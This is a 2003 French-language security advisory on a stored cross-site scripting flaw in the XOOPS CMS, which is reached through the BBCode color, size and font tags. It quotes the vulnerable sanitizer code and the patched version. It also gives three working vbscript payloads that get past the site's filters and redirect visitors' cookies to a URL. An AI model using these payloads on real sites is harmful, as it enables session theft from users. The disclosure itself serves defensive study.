XSS permanent via le BBcode dans XOOPS ************************************** Une faille touche certaines versions du CMS PHP XOOPS (http://www.xoops.org). Je ne sais pas quelles versions exactement sont touchées (apparemment beaucoup), mais pas la dernière (2.0.3). Il est donc possible d'injecter un script dans un message (module private message), par les news (module news) et par le forum (module newbb) via des balises BBCode. Les balises responsables sont [color], [size] et [font], qui permettent de définir la couleur, la taille ou la famille de la police d'une chaîne de caractères. Voici le code, dans le fichier class/module/textsanitizer.php, qui convertit ces balises en HTML : --------------------------------------------------------------------------------- [...] function xoopsCodeDecode($text){ $patterns = array(); $replacements = array(); [...] $patterns[] = "/\[color=(['\"]?)([^\"']*)\\1](.*)\[\/color\]/sU"; $replacements[] = "\\3"; $patterns[] = "/\[size=(['\"]?)([^\"']*)\\1](.*)\[\/size\]/sU"; $replacements[] = "\\3"; $patterns[] = "/\[font=(['\"]?)([^\"']*)\\1](.*)\[\/font\]/sU"; $replacements[] = "\\3"; [...] $text = preg_replace($patterns, $replacements, $text); [...] return $text; } [...] function oopsHtmlSpecialChars($text) { $text = htmlspecialchars($text); $text = str_replace("'","'",$text); return $text; } [...] --------------------------------------------------------------------------------- J'ai aussi rajouté la fonction oopsHtmlSpecialChars, pour montrer que l'utilisation du ' dans un code/script sera impossible. On voit donc que les arguments donnés (par exemple l'argument '8' dans [size=8]mon texte[/size]) sont insérés dans des balises , dans un champ de style. A part l'interdiction des caractères " et ', tous sont autorisés. Ainsi par exemple si je tape cette balise : [font=Verdana; color: red]mon texte[/font], on obtiendra : mon texte On changera donc la famille ET la couleur du texte via une balise prévue uniquement pour la famille. C'est le moment d'utiliser une des 2 fonctions de STYLE suivante : url() ou expression(). Pour rappel, la fonction url() appelle l'url donnée en argument, et la fonction expression() exécute le code donné en argument. Cette dernière fonction est beaucoup plus rarement utilisable que url(), nous allons donc travailler avec url() (ce qui va aussi nous permettre de contourner un 2ème filtre). Si vous voulez plus de renseignements sur ces fonctions, lisez mon texte du 24/04/03 intitulé "PHP-Nuke : Cross Site Scripting Permanent". url() peut s'utiliser comme argument par exemple de background:. Normalement pour faire executer un javascript, on pourrait taper dans style : background: url(javascript:alert('op')). On devrait donc par exemple taper comme balise : [size=10; background:url(javascript:alert('op'))]hophophop[/size] mais ce n'est pas possible pour deux raisons. La première est que le ' n'est pas utilisable, car remplacé par ' (donc à priori l'utilisation de chaînes est compromise), et la deuxième est qu'un filtre transforme le mot "javascript" en "java script", ce qui l'empêche de s'exécuter. Pour néanmoins exécuter du code, il suffit alors simplement d'utiliser un autre language de script, comme le vbscript. Maintenant reste le problème des chaînes de caractères, qui est en réalité facilement solutionné grâce par exemple à la fonction Chr() de vbscript qui renvoit le caractère correspondant au code ASCII donné en argument. Par exemple en vbscript, le code : msgbox(Chr(97)+document.cookie) montrera une alerte avec la lettre "a" suivie du cookie à l'utilisateur qui l'executera. En résumé, ces 3 balises : -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ [color=FFFFFF; background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color] [size=10; background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/size] [font=Verdana; background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font] -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ feront la même chose, c'est à dire executerons un code VisualBasicScript qui redirigera vers l'url "abcdef" suivie du cookie de celui qui l'execute. POur régler ce problème, dans la dernière version, XOOPS a changé le code de cette façon : ------------------------------------------------------------------------------------------ [...] function xoopstest($text){ $patterns = array(); $replacements = array(); [...] $patterns[] = "/\[color=(['\"]?)([a-zA-Z0-9]*)\\1](.*)\[\/color\]/sU"; $replacements[] = '\\3'; $patterns[] = "/\[size=(['\"]?)([a-z0-9-]*)\\1](.*)\[\/size\]/sU"; $replacements[] = '\\3'; $patterns[] = "/\[font=(['\"]?)([^;<>\*\(\)\"']*)\\1](.*)\[\/font\]/sU"; $replacements[] = '\\3'; [...] return preg_replace($patterns,$replacements); } [...] ------------------------------------------------------------------------------------------ Merci à Magistrat et à son site http://www.blocus-zone.com sur lequel j'ai pu tester allègrement. frog-m@n (leseulfrog@hotmail.com) 08/08/03